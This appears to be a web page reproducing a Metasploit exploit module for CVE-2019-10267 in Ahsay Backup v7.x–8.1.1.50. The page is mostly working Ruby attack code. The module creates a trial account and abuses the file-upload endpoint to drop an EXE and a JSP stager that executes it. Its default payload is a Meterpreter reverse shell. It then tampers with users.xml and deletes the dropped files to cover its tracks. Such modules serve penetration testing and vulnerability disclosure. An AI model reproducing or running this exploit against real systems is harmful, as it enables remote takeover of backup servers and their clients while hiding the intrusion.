扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 |
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit) # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 (REQUIRED) # Tested on: Windows / Linux # CVE : CVE-2019-10267 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name'=> 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload', 'Description' => %q{ This module exploits an authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute the upload credentials are needed, default on Ahsay Backup trial accounts are enabled so an account can be created. It can be exploited in Windows and Linux environments to get remote code execution (usualy as SYSTEM). This module has been tested successfully on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this flaw all connected clients can be configured to execute a command before the backup starts. Allowing an attacker to takeover even more systems and make it rain shells! Setting the CREATEACCOUNT to true will create a new account, this is enabled by default. If credeantials are known enter these and run the exploit. }, 'Author' => [ 'Wietse Boonstra' ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2019-10267'], [ 'URL', 'https://www.wbsec.nl/ahsay/' ], [ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ] ], 'Privileged'=> true, 'Platform'=> 'win', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ ['Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', # should work but untested { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 1 2019')) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']), OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]), OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]), OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']), OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']), ]) end def is_trial_enabled? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'), 'method' => 'POST', 'data' => '' }) if res and res.code == 200 and "ENABLED" =~ /#{res.body}/ return true else return false end end def check_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'), 'method' => 'POST', 'data' => '', 'headers' => headers }) if res and res.code == 200 print_good("Username and password are valid!") return true elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username incorrect!') print_status("Username does not exist.") return false elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/ # fail_with(Failure::NoAccess, 'Username exists but password incorrect!') print_status("Username exists but password incorrect!") return false else return false end end def create_request_headers headers = {} username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers['X-RSW-custom-encode-username'] = username headers['X-RSW-custom-encode-password'] = password headers end def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true" if username == "" or password == "" fail_with(Failure::NoAccess, 'Please set a username and password') else #check if account does not exists? if !check_account? # Create account and check if it is valid if create_account? drop_and_execute() else fail_with(Failure::NoAccess, 'Failed to authenticate') end else #Need to fix, check if account exist print_good("No need to create account, already exists!") drop_and_execute() end end elsif username != "" and password != "" if check_account? drop_and_execute() else if is_trial_enabled? fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!') end fail_with(Failure::NoAccess, 'Username and password are invalid') end else fail_with(Failure::UnexpectedReply, 'Missing some settings') end end def create_account? headers = create_request_headers res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'), 'method' => 'POST', 'data' => '', 'headers' => headers }) # print (res.body) if res and res.code == 200 print_good("Account created") return true elsif res.body.include?('LOGIN_NAME_IS_USED') fail_with(Failure::NoAccess, 'Username is in use!') elsif res.body.include?('PWD_COMPLEXITY_FAILURE') fail_with(Failure::NoAccess, 'Password not complex enough') else fail_with(Failure::UnexpectedReply, 'Something went wrong!') end end def remove_account if datastore['CREATEACCOUNT'] username = datastore['USERNAME'] users_xml = "../../conf/users.xml" print_status("Looking for account #{username} in #{users_xml}") xml_doc = download(users_xml) xmldoc = Document.new(xml_doc) el = 0 xmldoc.elements.each("Setting/Key") do |e| el = el + 1 e.elements.each("Value") do |a| if a.attributes["name"].include?('name') if a.attributes["data"].include?(username) print_good("Found account") xmldoc.root.elements.delete el print_status("Removed account") end end end end new_xml = xmldoc.root print_status("Uploading new #{users_xml} file") upload(users_xml, new_xml.to_s) print_good("Account is inaccesible when service restarts!") end end def prepare_path(path) if path.end_with? '/' path = path.chomp('/') end path end def drop_and_execute() path = prepare_path(datastore['UPLOADPATH']) exploitpath = path.gsub("../../webapps/cbs/",'') exploitpath = exploitpath.gsub("/","\\\\\\") requestpath = path.gsub("../../webapps/",'') #First stage payload creation and upload exe = payload.encoded_exe exe_filename = Rex::Text.rand_text_alpha(10) exefileLocation = "#{path}/#{exe_filename}.exe" print_status("Uploading first stage payload.") upload(exefileLocation, exe) #../../webapps/cbs/help/en exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>} #Second stage payload creation and upload jsp_filename = Rex::Text.rand_text_alpha(10) jspfileLocation = "#{path}/#{jsp_filename}.jsp" print_status("Uploading second stage payload.") upload(jspfileLocation, exec) proto = ssl ? 'https' : 'http' url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp") #Triggering the exploit print_status("Triggering exploit! #{url}" ) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"), 'method' => 'GET' }) if res and res.code == 200 print_good("Exploit executed!") end #Cleaning up print_status("Cleaning up after our selfs.") remove_account print_status("Trying to remove #{exefileLocation}, but will fail when in use.") delete(exefileLocation) delete(jspfileLocation) delete("../../user/#{datastore['USERNAME']}",true) end def upload(fileLocation, content) username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) uploadPath = Rex::Text.encode_base64(fileLocation) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password headers['X-RSW-custom-encode-path'] = uploadPath res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'), 'method' => 'PUT', 'headers' => headers, 'data' => content, 'timeout' => 20 }) if res && res.code == 201 print_good("Succesfully uploaded file to #{fileLocation}") else fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way") end end def download(fileLocation) #TODO make vars_get variable print_status("Downloading file") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'), 'method' => 'GET', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation } }) if res and res.code == 200 res.body end end def delete(fileLocation, recursive=false) print_status("Deleting file #{fileLocation}") username = Rex::Text.encode_base64(datastore['USERNAME']) password = Rex::Text.encode_base64(datastore['PASSWORD']) headers = {} headers['X-RSW-Request-0'] = username headers['X-RSW-Request-1'] = password res = send_request_cgi({ #/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz 'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'), 'method' => 'DELETE', 'headers' => headers, 'vars_get' => { 'X-RSW-custom-encode-path' => fileLocation, 'recursive' => recursive } }) if res and res.code == 200 res.body end end def check #We need a cookie first cookie_res = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'), 'method' => 'GET' }) if cookie_res and cookie_res.code == 200 cookie = cookie_res.get_cookies.split()[0] else return Exploit::CheckCode::Unknown end if defined?(cookie) #request the page with all the clientside software links. headers = {} headers['Cookie'] = cookie link = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'), 'method' => 'GET', 'headers' => headers }) if link and link.code == 200 link.body.each_line do |line| #looking for the link that contains obm-linux and ends with .sh if line.include? '<a href="https://www.exploit-db.com/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux' filename = line.split("<a")[1].split('"')[1].split("?")[0] filecontent = send_request_cgi({ #/cbs/system/ShowDownload.do 'uri' => normalize_uri(target_uri.path, filename), 'method' => 'GET', 'headers' => headers }) if filecontent and filecontent.code == 200 filecontent.body.each_line do |l| if l.include? 'VERSION="' number = l.split("=")[1].split('"')[1] if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/ if number <= '8.1.1.50' and not number < '7' return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end end else return Exploit::CheckCode::Unknown end end end else return Exploit::CheckCode::Unknown end else return Exploit::CheckCode::Unknown end end end |
体验盒子
